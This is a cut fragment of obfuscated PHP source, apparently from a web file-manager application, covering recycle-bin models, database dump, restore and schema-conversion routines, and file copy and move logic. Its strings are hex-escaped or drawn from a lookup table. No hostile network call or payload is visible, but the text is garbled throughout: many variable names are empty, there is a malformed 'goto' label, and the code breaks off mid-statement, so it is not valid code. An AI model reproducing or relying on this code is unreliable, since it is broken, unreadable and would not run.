$_SERVER[Ǿ]; $ = $this->sourceRoot($޾, $·, !0); if (!$) { return 0; } $ = floatval($[$[90]]); $ = array($[584] => array($[544], $[531] . $[$[403]] . $[545])); $Ǫ = Model($[429])->field($[418])->where($)->select(); $Ǫ = array_to_keyvalue($Ǫ, $[22], $[403]); $Ǫ = array_unique(array_filter($Ǫ)); if ($Ǫ) { $ = array($[418] => array($[419], $Ǫ)); $ += floatval($this->where($)->sum($[90])); } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($Ӣ) { return $this->fileTypeProfile($Ӣ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($롈) { return $this->fileTypeProfile($롈, SourceModel::TYPE_GROUP); } private function fileTypeProfile($¦, $) { $ =& $_SERVER[Ǿ]; $笽 = $[2104] . $¦ . $[21] . $; $۰ = Cache::get($笽); if ($۰) { return $۰; } $޾ = array($[577] => 0); if ($¦ != !1) { $޾[$[504]] = $¦; $޾[$[412]] = $; } $ = array(); $[$[2105]] = array($[2106] => LNG($[2105]), $[2107] => $this->where($޾)->count(), $[579] => $this->where($޾)->sum($[90])); $ = KodIO::fileTypeList(); foreach ($ as $ => $Ԯ) { $޾[$[413]] = $this->fileTypeWhere($); $[$] = array($[2106] => $Ԯ[$[42]], $[2107] => $this->where($޾)->count(), $[579] => $this->where($޾)->sum($[90])); } Cache::set($笽, $, 1200); return $; } public function fileNameExist($€, $Ɂ) { $ݨ =& $_SERVER[Ǿ]; $޺ = $this->where(array($ݨ[498] => $€, $ݨ[42] => $Ɂ, $ݨ[431] => 0))->find(); return is_array($޺) ? $޺[$ݨ[403]] : !1; } public function childList($֩) { $۬ =& $_SERVER[Ǿ]; $ = $۬[2082] . $֩; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $ҹ = array($۬[498] => intval($֩), $۬[431] => 0); $Ӊ = $this->where($ҹ)->select(); $Ӊ = $Ӊ ? $Ӊ : array(); self::$cacheChildList[$] = $Ӊ; foreach ($Ӊ as $Š) { $ = $۬[458] . $Š[$۬[403]]; self::$cacheSourceInfo[$] = $Š; } return $Ӊ; } public function fileNameAuto($؉, $, $՜ = REPEAT_RENAME, $ʣ = false) { $ۛ =& $_SERVER[Ǿ]; $٥܆ = array($ۛ[498] => $؉, $ۛ[431] => 0, $ۛ[42] => array($ۛ[387], $ . $ۛ[388])); $ = $this->field($ۛ[42])->where($٥܆)->select(); $ = array_to_keyvalue($, $ۛ[22], $ۛ[42]); return $this->fileNameAutoGet($, $, $՜, $ʣ); } public function fileNameAutoGet($, $, $, $ڊǟ) { $Ɠ =& $_SERVER[Ǿ]; if ($ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $ڊǟ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ޟ = $Ɠ[20] . get_path_ext($); $ޟ = $ޟ == $Ɠ[20] || $ڊǟ ? $Ɠ[22] : $ޟ; for ($¥ = 1; $¥ <= count($) + 1; $¥++) { $ = substr($, 0, strlen($) - strlen($ޟ)); $ؖ = $ . "\x28{$¥}\x29{$ޟ}"; if (!in_array_not_case($ؖ, $)) { return $ؖ; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x73\157\165\x72\x63\145\x5f\x72\x65\x63\x79\x63\x6c\145"; protected $dataAuto = array(array("\x63\x72\x65\x61\x74\x65\x54\151\x6d\x65", "\x74\151\x6d\x65", "\151\x6e\163\x65\x72\x74", "\146\165\156\x63\164\x69\157\156")); public function listData($ꟺ = false) { $҇ =& $_SERVER[Ǿ]; $ꟺ = $ꟺ ? $ꟺ : USER_ID; $رǢ = $this->where(array($҇[1631] => $ꟺ))->select(); return array_to_keyvalue($رǢ, $҇[22], $҇[403]); } public function moveToRecycle($) { $ə =& $_SERVER[Ǿ]; $ = Model($ə[1310]); $ = $->sourceInfo($); if (!$ || $[$ə[431]] == $ə[99]) { return; } $ = array($ə[418] => $, $ə[1631] => USER_ID, $ə[580] => $[$ə[412]], $ə[581] => $[$ə[504]], $ə[584] => $[$ə[521]]); $this->add($); $this->recycleMove($, 1); if ($[$ə[411]] == $ə[99]) { $ؗЅ = array($ə[584] => array($ə[544], $[$ə[521]] . $ . $ə[545])); $->where($ؗЅ)->setField($ə[431], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $ = false) { $ο =& $_SERVER[Ǿ]; $ = $ ? $ : USER_ID; $Ǔ湉 = Model($ο[1310]); $ͷҲ = $this->listData($); $ = $ === !1 ? !1 : $; $ = array(); foreach ($ͷҲ as $) { if ($ != !1 && !in_array($, $)) { continue; } $׮ = $Ǔ湉->sourceInfo($); $Ǔ湉->remove($, !1); $п = $׮[$ο[412]] . $ο[21] . $׮[$ο[504]]; $[$п] = array($ο[580] => $׮[$ο[412]], $ο[504] => $׮[$ο[504]]); $this->where(array($ο[403] => $))->delete(); } foreach ($ as $) { $Ǔ湉->targetSpaceUpdate($[$ο[412]], $[$ο[504]]); } } public function restore($ = false) { $ճ = $this->listData(); $this->_restoreSource($ճ, $); } public function removeUserAll($ў) { $this->remove(!1, $ў); } private function _restoreSource($, $ۭ) { $ =& $_SERVER[Ǿ]; $ = Model($[1310]); $ۭ = $ۭ == !1 ? !1 : $ۭ; if (!$) { return !0; } $ֵ = array(); foreach ($ as $Ӳ) { if ($ۭ != !1 && !in_array($Ӳ, $ۭ)) { continue; } $§ = $->sourceInfo($Ӳ); $Nj = $->sourceInfo($§[$[498]]); if ($Nj[$[431]] == $[99]) { continue; } $->lockMoveStart($Ӳ); $this->recycleMove($Ӳ, 0); if ($§[$[411]] == $[99]) { $꽴 = array($[584] => array($[544], $§[$[521]] . $Ӳ . $[545])); $->where($꽴)->setField($[431], 0); $this->restoreFolderChildren($Ӳ, $); } $this->where(array($[403] => $Ӳ))->delete(); $->folderSizeReset($§[$[498]]); $ֵ[] = $§[$[498]]; if ($§[$[411]] == $[99]) { $ֵ[] = $Ӳ; } $->lockMoveEnd($Ӳ); } $->updateModifyTime($ֵ); } private function restoreFolderChildren($թ, $ը) { $֭ =& $_SERVER[Ǿ]; $ = Model($֭[1310]); $揄 = array($֭[403] => array($֭[17], array())); foreach ($ը as $™) { if ($™ == $թ) { continue; } if (!$->isParentOf($թ, $™)) { continue; } $խ = $->sourceInfo($™); if ($խ[$֭[411]] == $֭[99]) { $揄[] = array($֭[584] => array($֭[544], $խ[$֭[521]] . $™ . $֭[545])); } else { $揄[$֭[403]][1][] = $™; } } if (!$揄[$֭[403]][1]) { unset($揄[$֭[403]]); } if (!$揄) { return; } $揄[$֭[403]][1] = array_unique($揄[$֭[403]][1]); $揄[$֭[985]] = $֭[1903]; $->where($揄)->setField($֭[431], 1); } private function recycleMove($ë, $ = 1) { $ =& $_SERVER[Ǿ]; $ = Model($[1310]); $ = Model($[2108]); $ = array($[403] => $ë); if ($) { $->where($)->setField($[431], 1); $->eventRecycle($ë, $[2109]); } else { $𿣕 = $->where($)->find(); $ = $𿣕[$[411]] == $[99]; $ǭ = $->fileNameAuto($𿣕[$[498]], $𿣕[$[42]], REPEAT_RENAME_FOLDER, $); if ($ǭ != $𿣕[$[42]]) { $->rename($ë, $ǭ); } $->where($)->setField($[431], 0); $->eventRecycle($ë, $[2110]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\x6d\56\163\x6f\165\x72\143\x65\123\145\x63\162\x65\x74\114\151\x73\164"; public $field = array("\163\x6f\165\x72\x63\x65\x49\x44", "\x74\x79\x70\x65\111\x44", "\143\162\x65\x61\x74\x65\125\163\145\x72"); } goto A; A;: class DbManage { function __construct($ꁓ = array()) { $ =& $_SERVER[Ǿ]; if (empty($ꁓ)) { $ꁓ = $GLOBALS[$[16]][$[31]]; } $this->database = $ꁓ; } public function model($› = '') { return new ModelBase($›, $_SERVER[Ǿ][22], $this->database); } public function db($ځ = false) { $ =& $_SERVER[Ǿ]; $ = array_change_key_case($this->database); if ($this->dbType() == $[23] || !$ځ) { return $this->model()->db(); } $ = $[$[957]]; $[$[957]] = $[22]; if ($[$[952]] == $[949]) { $阯 = $[$[958]]; $[$[958]] = substr($阯, 0, strrpos($阯, $[1044])); } $this->database = $; $ÿ = $this->model()->db(); try { $ = $ÿ->execute("\x73\x68\157\167\x20\144\141\164\141\142\141\x73\145\x73\40\x6c\x69\153\x65\x20\47{$}\47"); } catch (Exception $ꢕ) { } if (!$) { $ÿ->execute("\x63\x72\145\x61\x74\145\40\144\x61\164\x61\x62\x61\163\x65\40\140{$}\140"); } $[$[957]] = $; if ($[$[952]] == $[949]) { $[$[958]] .= $[1044] . $; } $this->database = $; $ÿ->execute("\x75\163\x65\40\140{$}\140"); return $ÿ; } public function createTable($, &$ֆε˨) { $Ȫ =& $_SERVER[Ǿ]; if (!IO::exist($)) { ActionCall($Ȫ[1045], !0, 0); show_json(LNG($Ȫ[1046]), !1); } $滴 = $this->model()->db(); $ކ = sqlSplit(IO::getContent($)); foreach ($ކ as $lj) { $Ş = stripos($lj, $Ȫ[1047]) === 0; if ($Ş) { $ֆε˨->task[$Ȫ[778]] += 1; } $滴->execute($lj); if ($Ş) { preg_match($Ȫ[1048], $lj, $); $ֆε˨->task[$Ȫ[1049]] = $[1]; $ֆε˨->update(1); } } } public function insertTable($, &$Ǣ) { $Ѣ =& $_SERVER[Ǿ]; $ބ = $this->model()->db(); $胪 = $ ? array($) : $ބ->getTables(); foreach ($ as $) { $ = basename($, $Ѣ[780]); if (!in_array($, $胪)) { continue; } $Ǣ->task[$Ѣ[1049]] = $; if (get_filesize($) == 0) { continue; } $ƍ = $this->sqlToDb($, $Ǣ); if (!$ƍ) { ActionCall($Ѣ[1045], !0, 0); show_json(LNG($Ѣ[1050]) . "\x5b{$}\135", !1); } } } public function sqlFromDb($, $, &$Ԡ, $㭚 = '') { if ($Ԡ) { $Ԡ->task[$_SERVER[Ǿ][1049]] = $; } $ = $this->model($); $ = 0; $״ = 0; $“я = 10000; $ş = fopen($, $_SERVER[Ǿ][1051]); $ = $->getPk(); $ſ = $->getDbFields(); $ = $_SERVER[Ǿ][22]; if ($GLOBALS[$_SERVER[Ǿ][779]] && in_array($, array($_SERVER[Ǿ][1052], $_SERVER[Ǿ][1053]))) { $ = $; } do { $ = array($ => array($_SERVER[Ǿ][999], $״)); $ = $->where($)->field($ſ)->order($ . $_SERVER[Ǿ][1054])->limit($“я)->select(); $ = !empty($) ? $ : array(); if (!($͠ = count($))) { break; } $聱 = end($); $״ = $聱[$]; $ = array(); foreach ($ as $) { if ($) { if ($ == $_SERVER[Ǿ][1052]) { if ($[$_SERVER[Ǿ][43]] == $_SERVER[Ǿ][1055]) { $ݬ = json_decode($[$_SERVER[Ǿ][378]], !0); if ($ݬ[$_SERVER[Ǿ][42]] == $GLOBALS[$_SERVER[Ǿ][779]] && $ݬ[$_SERVER[Ǿ][742]] != 1) { continue; } } } else { if ($[$_SERVER[Ǿ][43]] == $_SERVER[Ǿ][1056] && $[$_SERVER[Ǿ][105]] == $_SERVER[Ǿ][771]) { continue; } } } if ($㭚) { $[$_SERVER[Ǿ][88]] = "\x7b\x69\x6f\x3a{$㭚}\175" . substr($[$_SERVER[Ǿ][88]], strlen("\x7b\x69\157\x3a{$[$_SERVER[Ǿ][809]]}\175")); $[$_SERVER[Ǿ][809]] = $㭚; } $[] = $_SERVER[Ǿ][1057] . $this->sqlEncode($) . $_SERVER[Ǿ][1058]; } $ΐ = "\111\x4e\123\x45\122\124\40\111\x4e\124\x4f\x20\x60{$}\140\x20\50\x60" . implode($_SERVER[Ǿ][1059], $ſ) . $_SERVER[Ǿ][1060]; fwrite($ş, $ΐ . implode($_SERVER[Ǿ][1061], $) . $_SERVER[Ǿ][81] . PHP_EOL); $ += $͠; if ($Ԡ) { $Ԡ->update($͠); } } while ($“я == $͠); fclose($ş); return $; } public function sqlToDb($ٿ, &$) { $ =& $_SERVER[Ǿ]; $ = $this->model()->db(); $ = @fopen($ٿ, $[1062]); if (!$) { return !1; } $ɽ = 0; $Շ = $[22]; $ޑ = array(); $ = $this->dbType(); $ = $ == $[23] ? 500 : 2000; $ = basename($ٿ, $[780]); $ = 0; $ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($)) { $ = trim(fgets($)); if (!$) { continue; } $귛 = $this->sqlDecode($, $, $); if (stripos($귛, $[359]) === 0) { if (!$Շ) { $Շ = $귛 . $[63]; } continue; } if ($) { $->task[$[778]] += 1; } $ɽ++; $ޑ[] = rtrim(rtrim(trim($귛), $[60]), $[81]); $Ԕʮ = null; $ = strlen($귛); $ += $; if ($ >= ($ == 500 ? $ : $)) { $Ԕʮ = array_pop($ޑ); if ($ɽ > 1) { $ɽ--; } } if ($ɽ >= $ || $Ԕʮ) { $귛 = $Շ . implode($[60], $ޑ); if (!$->execute($귛)) { return !1; } if ($) { $->update($ɽ); } $ޑ = array(); $ɽ = 0; $ = 0; if ($Ԕʮ) { $ޑ = array($Ԕʮ); $ɽ = 1; $ = $; } } } fclose($); if (!empty($ޑ)) { $귛 = $Շ . implode($[60], $ޑ); if (!$->execute($귛)) { return !1; } if ($) { $->update($ɽ); } } return !0; } public function dropTable($擨 = null) { $ޑ = $this->model()->db(); $ = $擨 ? array($擨) : $ޑ->getTables(); if (!$) { return; } foreach ($ as $擨) { if ($擨) { $擨 = strtolower($擨); } else { continue; } $ޑ->execute("\x64\x72\157\160\x20\164\141\x62\154\145\x20\x69\x66\40\x65\170\x69\163\x74\x73\40\x60{$擨}\140"); } } private function sqlEncode($) { $ٱϰ =& $_SERVER[Ǿ]; $ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($ٱϰ[1063], $ٱϰ[11]), array($ٱϰ[1064], $ٱϰ[1065]), $); $[] = str_replace($ٱϰ[68], $ٱϰ[1066], $); } return $ٱϰ[68] . implode($ٱϰ[1067], $) . $ٱϰ[68]; } private function sqlDecode($, $ۏ, $Ȇ = '') { $⢱ =& $_SERVER[Ǿ]; $ = str_replace(array($⢱[1064], $⢱[1065]), array($⢱[1063], $⢱[11]), $); if ($ۏ == $⢱[23]) { return $Ȇ != $⢱[1068] ? stripslashes($) : $; } if ($Ȇ == $⢱[1068]) { $ = str_replace($⢱[1069], $⢱[127], stripslashes($)); } return $; } public function getSqlFile($ի¯ = '') { $ȫ =& $_SERVER[Ǿ]; $ = $this->dbType(!0); $ݩ = CONTROLLER_DIR . "\151\156\x73\x74\x61\154\x6c\57\144\141\x74\141\57{$}\56\x73\x71\154"; $硲 = file_get_contents($ݩ); $ = $ȫ[1070] . ($ == $ȫ[796] ? $ȫ[1071] : $ȫ[1072]) . $ȫ[1073]; preg_match_all($, $硲, $ѯϳ); $獉 = $ѯϳ[1]; $ȅ = $this->model()->db(); $á = $ȅ->getTables(); $ = TEMP_FILES . $ȫ[1074] . date($ȫ[743]) . $ȫ[18]; del_dir($); mk_dir($); $թ = $ . $ȫ[1075]; $̤ = $ . $ȫ[1076]; $ڜ = $ == $ȫ[23] ? $ȫ[796] : $ȫ[23]; IO::copy(CONTROLLER_DIR . "\x69\156\x73\164\141\x6c\154\x2f\144\141\x74\x61\57{$ڜ}\56\x73\161\x6c", $); @touch($ . $ . $ȫ[780]); $̿ = fopen($թ, $ȫ[1051]); $ = fopen($̤, $ȫ[1051]); if ($ == $ȫ[23]) { $á = array_diff($á, array($ȫ[776], $ȫ[777])); $ = array($ȫ[1077], $ȫ[1078], $ȫ[1079]); fwrite($, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($á as $ٸ) { $Ԟ = $this->sqlFromSqlite($ٸ); if (!$Ԟ[$ȫ[23]]) { continue; } fwrite($, $Ԟ[$ȫ[23]] . PHP_EOL . PHP_EOL); if (!in_array($ٸ, $獉)) { fwrite($̿, $Ԟ[$ȫ[796]] . PHP_EOL . PHP_EOL); } } } else { foreach ($á as $ٸ) { $Ԟ = $this->sqlFromMysql($ٸ); if (!$Ԟ[$ȫ[796]]) { continue; } fwrite($̿, $Ԟ[$ȫ[796]] . PHP_EOL . PHP_EOL); if (!in_array($ٸ, $獉)) { fwrite($, $Ԟ[$ȫ[23]] . PHP_EOL . PHP_EOL); } } } fclose($̿); fclose($); $硲 = array($ȫ[796] => $թ, $ȫ[23] => $̤); return $ի¯ ? $硲[$ի¯] : $硲; } public function dbType($ = false) { $߆ =& $_SERVER[Ǿ]; $ݷӛ = $ ? $GLOBALS[$߆[16]][$߆[31]] : $this->database; $ݷӛ = array_change_key_case($ݷӛ); $Ķ؂ = $ݷӛ[$߆[952]]; if ($Ķ؂ == $߆[949]) { $ѺҌ = explode($߆[4], $ݷӛ[$߆[958]]); $Ķ؂ = $ѺҌ[0]; } $ = array($߆[1080] => $߆[23], $߆[897] => $߆[796]); if (isset($[$Ķ؂])) { $Ķ؂ = $[$Ķ؂]; } return $Ķ؂; } public function sqlFromMysql($, $± = '') { $ =& $_SERVER[Ǿ]; $գ = $this->model()->db(); $㠺 = $գ->query($[1081] . $ . $[389]); if (!$㠺 || !$㠺[0]) { return !1; } $ȵ = _get($㠺[0], $[1082], $[22]); if (!$ȵ) { return !1; } $Ж = "\104\x52\x4f\x50\40\124\101\x42\x4c\105\40\111\x46\40\105\x58\x49\123\x54\x53\x20\x60{$}\x60\73" . PHP_EOL . $ȵ . $[81]; if ($± && $± == $[796]) { return $Ж; } $Щ = array_change_key_case($GLOBALS[$[16]][$[31]]); $ = $Щ[$[957]]; $ = $[1083] . $ . $[1084] . $ . $[68]; $Ԍ = $[1085] . $ . $[885]; $ = $գ->query($); if (empty($)) { $ = array($[796] => $[22], $[23] => $[22]); return $± ? $[$±] : $; } $ = $գ->query($Ԍ); $غ = $[22]; $ = array(); foreach ($ as $) { if (!$غ && $[$[1086]] == $[1087]) { $غ = $[$[1088]]; } if (isset($[$[$[1086]]])) { $[$[$[1086]]][$[1089]][] = $[$[1088]]; continue; } $[$[$[1086]]] = array($[1090] => $[$[1086]], $[1089] => array($[$[1088]]), $[1091] => $[$[1092]] == $[99] ? 0 : 1); } $ˇ = array(); foreach ($ as $) { $ġ = $[$[1090]] == $[1087]; $˒ = array($[1093], $[$[1091]] == $[99] && !$ġ ? $[1094] : $[22], $[1095], $[1096] . $ . $[21] . ($ġ ? $[1097] : $[$[1090]]) . $[127], $[1098], $[127] . $ . $[127], $[1099] . implode($[1100], $[$[1089]]) . $[1101]); $ˇ[] = implode($[63], $˒) . $[81]; } $÷ = array(); $۷ = array($[1102] => $[1103], $[1103] => $[1103], $[292] => $[319], $[291] => $[319]); foreach ($ as $) { $˒ = array($[127] . $[$[1104]] . $[127], isset($۷[$[$[1105]]]) ? $۷[$[$[1105]]] : $[$[1106]], $[$[1107]] == $[883] ? $[1108] : $[1109], $[$[1104]] == $غ ? $[1110] : $[22], $[$[934]] ? strtoupper(str_replace($[21], $[22], $[$[934]])) : $[22]); $÷[] = trim(implode($[63], $˒)); } $ = array($[1111] . $ . $[1112], $[1113] . $ . $[1114], implode($[60] . PHP_EOL, $÷), $[931]); $ = implode(PHP_EOL, array_merge($, $ˇ)); if ($± && $± == $[23]) { return $; } $ = array($[796] => $Ж, $[23] => $); return $± ? $[$±] : $; } public function sqlFromSqlite($υ, $ܓ = '') { $ =& $_SERVER[Ǿ]; $ = $this->model()->db(); $ײ = "\120\122\x41\x47\x4d\x41\x20\124\101\x42\114\105\x5f\111\116\x46\117\x20\50\47{$υ}\x27\51"; $ = "\123\105\114\105\x43\124\x20\x2a\40\x46\122\x4f\x4d\40\x73\161\x6c\x69\164\145\x5f\x6d\x61\163\164\145\x72\x20\x57\x48\105\122\x45\40\x74\x62\x6c\x5f\x6e\141\x6d\x65\40\x3d\x20\x27{$υ}\47"; $뻀 = $->query($ײ); if (empty($뻀)) { $ב = array($[796] => $[22], $[23] => $[22]); return $ܓ ? $ב[$ܓ] : $ב; } $ = $->query($); $ = $ = array(); foreach ($ as $ȟ) { if ($ȟ[$[43]] == $[283]) { $[] = $ȟ[$[1115]]; } else { $[$ȟ[$[42]]] = $ȟ[$[1115]]; } } $÷ = array_merge(array($[1111] . $υ . $[127]), $, array_values($)); $÷ = implode($[81] . PHP_EOL, $÷) . $[81]; if ($ܓ && $ܓ == $[23]) { return $÷; } $ = array(); $܂ = array($[1103] => $[1116], $[319] => $[1117]); $ػ = $[22]; foreach ($뻀 as $ȟ) { if ($ȟ[$[67]] == $[99]) { $ػ = $ȟ[$[42]]; } $ٓ = array($[389] . $ȟ[$[42]] . $[389], isset($܂[$ȟ[$[43]]]) ? $܂[$ȟ[$[43]]] : $ȟ[$[43]], $ȟ[$[45]] == $[99] ? $[1108] : $[1118] . $ȟ[$[66]], $ȟ[$[67]] == $[99] ? $[1119] : $[22]); $[] = trim(implode($[63], $ٓ)); } foreach ($ as $ȸק => $) { $͗ = str_replace($[1120] . $υ . $[21], $[22], $ȸק); $ګ = str_replace(array($[127], $[942]), $[389], substr($, stripos($, $[264]))); if ($͗ == $[1097]) { $ = $[1121] . $ػ . $[1122]; } else { $ = (stripos($͗, $[21]) ? $[1123] : $[22]) . ($[1124] . $͗ . $[1125] . $ګ); } $[] = $; } $ח = array($[1126] . $υ . $[1127], $[1128] . $υ . $[1129], implode($[60] . PHP_EOL, $), $[1130]); $׌ = implode(PHP_EOL, $ח); if ($ܓ && $ܓ == $[796]) { return $׌; } $ב = array($[796] => $׌, $[23] => $÷); return $ܓ ? $ב[$ܓ] : $ב; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $Ғ =& $_SERVER[Ǿ]; $ = $; $GLOBALS[$Ғ[1131]] = $Ғ[1132] . $; Hook::trigger($Ғ[1132] . $ . $Ғ[1133], $); $ = self::driverMake($[0]); if (!$) { return !1; } if (method_exists($, $)) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists($, $Ғ[1134])) { $ = @call_user_func_array(array($, $), $); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $); } else { $ = call_user_func_array(array(parent, $), $); } } } Hook::trigger($Ғ[1132] . $ . $Ғ[1135], $, $); return $; } public static function init($Ѷ) { return self::driverMake($Ѷ); } public static function copy($, $笰, $ = false, $ش = false) { return self::copyMoveStart($, $笰, $, $_SERVER[Ǿ][549], $ش); } public static function move($޴, $, $򭻏 = false, $ = false) { return self::copyMoveStart($޴, $, $򭻏, $_SERVER[Ǿ][551], $); } private static function copyMoveStart($, $՞, $, $, $л) { $āۑ =& $_SERVER[Ǿ]; $ = array($, $՞, $, $л); Hook::trigger($āۑ[1132] . $ . $āۑ[1133], $); $֐܄ = self::copyMove($, $՞, $, $, $л); Hook::trigger($āۑ[1132] . $ . $āۑ[1135], $, $֐܄); return $֐܄; } public static function saveFile($ߏצ, $޹, $˰ = true) { $ =& $_SERVER[Ǿ]; $ = self::info($޹); $㑜م = self::driverMake($ߏצ); $ޡӀ = self::driverMake($޹); $ݤ = !1; if ($ޡӀ->pathParse[$[1136]]) { $ݤ = $ޡӀ; $ = $ޡӀ->pathParse[$[1136]]; $ޡӀ = self::driverMake($); } if ($㑜م->pathParse[$[1136]]) { $ = $㑜م->pathParse[$[1136]]; $㑜م = self::driverMake($); } $ = $ޡӀ->pathFather($޹); $áљ = !0; if (!$˰ && self::driverIsSame($㑜م, $ޡӀ)) { $áљ = !1; } $ = self::copyFile($㑜م, $ߏצ, $ޡӀ, $, $[$[42]], $áљ); if ($ݤ) { $ = $ݤ->getPathOuter($); } return $; } private static function copyMove($ӈ, $Ȳ, $, $ש̌, $뢕 = false) { $ =& $_SERVER[Ǿ]; if (!$ӈ || $ӈ == $[18] || !$Ȳ) { return !1; } ignore_timeout(); $ѻ = self::driverMake($ӈ); $ = self::driverMake($Ȳ); $݇ = $ש̌ == $[551]; $ = !1; if ($->pathParse[$[1136]]) { $ = $; $Ȳ = $->pathParse[$[1136]]; $ = self::driverMake($Ȳ); } if ($ѻ->pathParse[$[1136]]) { $ӈ = $ѻ->pathParse[$[1136]]; $ѻ = self::driverMake($ӈ); } self::check($ѻ, $ӈ, $, $Ȳ); Hook::trigger($[85], $ѻ, $ӈ, $, $Ȳ); $ߞ = self::driverIsSame($ѻ, $); if ($ߞ) { if ($ש̌ == $[551] && !method_exists($, $[1137]) && trim($Ȳ, $[18]) == trim($->pathFather($ӈ), $[18])) { if ($ѻ->pathThis($ӈ) != $뢕 && !$ѻ->isTypeObject()) { return $ѻ->rename($ӈ, $뢕); } return $->getPathOuter($ӈ); } if (method_exists($, $ש̌)) { return $->{$ש̌}($ӈ, $Ȳ, $, $뢕); } } if ($ߞ && $ש̌ == $[551] && $->getType() == $[117]) { $ = $->movePath($ӈ, $Ȳ, $뢕); if ($) { return $; } } $ = $ѻ->isFile($ӈ); if (!$ && $->getType() == $[750] && $ѻ->getType() == $[117]) { $ = $->copyFolderFromIO($ѻ, $ӈ, $Ȳ, $, $݇, $뢕); } else { $ = self::copyPath($ѻ, $ӈ, $, $Ȳ, $, $݇, $, $뢕); } if ($ && $݇) { $ѻ->remove($ӈ); } if ($) { $ = $->getPathOuter($); } return $; } private static function check($󧨾, $, $Ӥ, &$Ͳ҉) { $ρ =& $_SERVER[Ǿ]; if (self::driverIsSame($󧨾, $Ӥ) && $󧨾->isFolder($) && $󧨾->isParentOf($, $Ͳ҉)) { show_json(LNG($ρ[1138]), !1); } if (!$󧨾->exist($)) { show_json(LNG($ρ[116]), !1); } } private static function copyPath($, $Ү, $Ժ, $, $ٟ, $, $ү, $é = false) { $ąݩ =& $_SERVER[Ǿ]; $ = empty($é) && $é !== $ąݩ[200] ? $->pathThis($Ү) : $é; if ($ٟ) { $؆ = $Ժ->fileNameExist($, $); $ = $Ժ->fileNameAuto($, $, $ٟ, !$ү); $ٟ = $؆ ? $ٟ : !1; } if ($ү) { return self::copyFile($, $Ү, $Ժ, $, $, $); } if ($ٟ == REPEAT_RENAME_FOLDER) { $ٟ = !1; } $Ϣ = rtrim($, $ąݩ[18]) . $ąݩ[18] . $; $ = $Ժ->mkdir($Ժ->getPath($Ϣ)); $ = $Ժ->getPathInner($); $ȧ = $->listPath($Ү, !0); $ȧ = is_array($ȧ) ? $ȧ : array($ąݩ[86] => array(), $ąݩ[87] => array()); $칰˥ = array_merge($ȧ[$ąݩ[86]], $ȧ[$ąݩ[87]]); foreach ($칰˥ as $Ź) { $ = $Ź[$ąݩ[43]] == $ąݩ[202]; $Ү = $->getPathInner($Ź[$ąݩ[88]]); $nj = self::copyPath($, $Ү, $Ժ, $, $ٟ, $, $); if (!$nj) { IO::errorTips($ąݩ[1139] . $Ү . $ąݩ[80] . $); } } self::copyMoveKeepInfo($, $Ү, $); return $; } private static function copyFile($䆕, $, $, $Ȝȣ, $Τ䆞, $) { $ȹ =& $_SERVER[Ǿ]; $Ȝȣ = $->getPath(rtrim($Ȝȣ, $ȹ[18]) . $ȹ[18] . $Τ䆞); $ܣ = $ȹ[1140] . time() . rand_string(5); Hook::trigger($ȹ[1141], $䆕, $, $, $Ȝȣ, $Τ䆞, $ܣ); if (self::driverIsSame($䆕, $)) { if ($) { $ա = $->moveFile($, $Ȝȣ); } else { $ա = $->copyFile($, $Ȝȣ); } Hook::trigger($ȹ[1142], $䆕, $, $, $Ȝȣ, $Τ䆞, $ա); self::copyMoveKeepInfo($䆕, $, $ա); return $ա; } $Ά = TEMP_FILES; if ($GLOBALS[$ȹ[16]][$ȹ[100]][$ȹ[788]]) { $Ά = $GLOBALS[$ȹ[16]][$ȹ[100]][$ȹ[788]]; } $ = $Ά; mk_dir($); $鼮Ž = $ . $ܣ; $ = $鼮Ž; $鼮Ž = $䆕->download($, $鼮Ž); $鼮Ž = $䆕->iconvApp($鼮Ž); if (substr($鼮Ž, strlen($Ά)) == $Ά) { $ = !0; } $ա = $->upload($Ȝȣ, $鼮Ž, $); self::remove($); Hook::trigger($ȹ[1142], $䆕, $, $, $Ȝȣ, $Τ䆞, $ա); self::copyMoveKeepInfo($䆕, $, $ա); return $ա; } private static function copyMoveKeepInfo($լ, $, $ʐ) { if (!$ʐ) { return; } $ع = $լ->info($); if (!is_array($ع)) { return; } IO::setModifyTime($ʐ, $ع[$_SERVER[Ǿ][96]]); } public static function pathFather($) { $ޏ = IO::init($); $ = $ޏ->pathFather($ޏ->path); return $ޏ->getPathOuter($); } public static function fileOut($־, $׍ = false, $ = false, $ = '') { $ = self::driverMake($־); if ($->isFileOutServer()) { return $->fileOutServer($־, $׍, $, $); } return $->fileOut($־, $׍, $, $); } public static function fileOutImage($ê, $価 = 250) { $ = array(250, 600, 1200, 2000, 3000, 5000); for ($͗ = 0; $͗ < count($); $͗++) { if ($͗ == 0 && $価 <= $[$͗]) { $価 = $[$͗]; break; } else { if ($価 > $[$͗ - 1] && $価 <= $[$͗]) { $価 = $[$͗]; break; } else { if ($͗ == count($) - 1 && $価 > $[$͗]) { $価 = $[$͗]; break; } } } } $Ӗ = self::driverMake($ê); if ($Ӗ->isFileOutServer()) { return $Ӗ->fileOutImageServer($ê, $価); } return $Ӗ->fileOutImage($ê, $価); } private static function driverIsSame($, $) { $剡 =& $_SERVER[Ǿ]; $ = $->getType(); $ß = $->getType(); if ($ != $ß) { return !1; } if ($ == $剡[750]) { return !0; } if ($ == $剡[117]) { return !0; } if ($->pathDriver == $->pathDriver) { return !0; } return !1; } public static function copyUpdate($ӵ, $܂) { $֤ =& $_SERVER[Ǿ]; if (!IO::exist($ӵ)) { return !1; } if (!IO::exist($܂)) { IO::mkdir($܂); } $˳ = self::_listAll($ӵ); $ܯ = self::_listAll($܂); $ڴ = array(); $͖ = array(); foreach ($˳ as $ => $Γ) { if 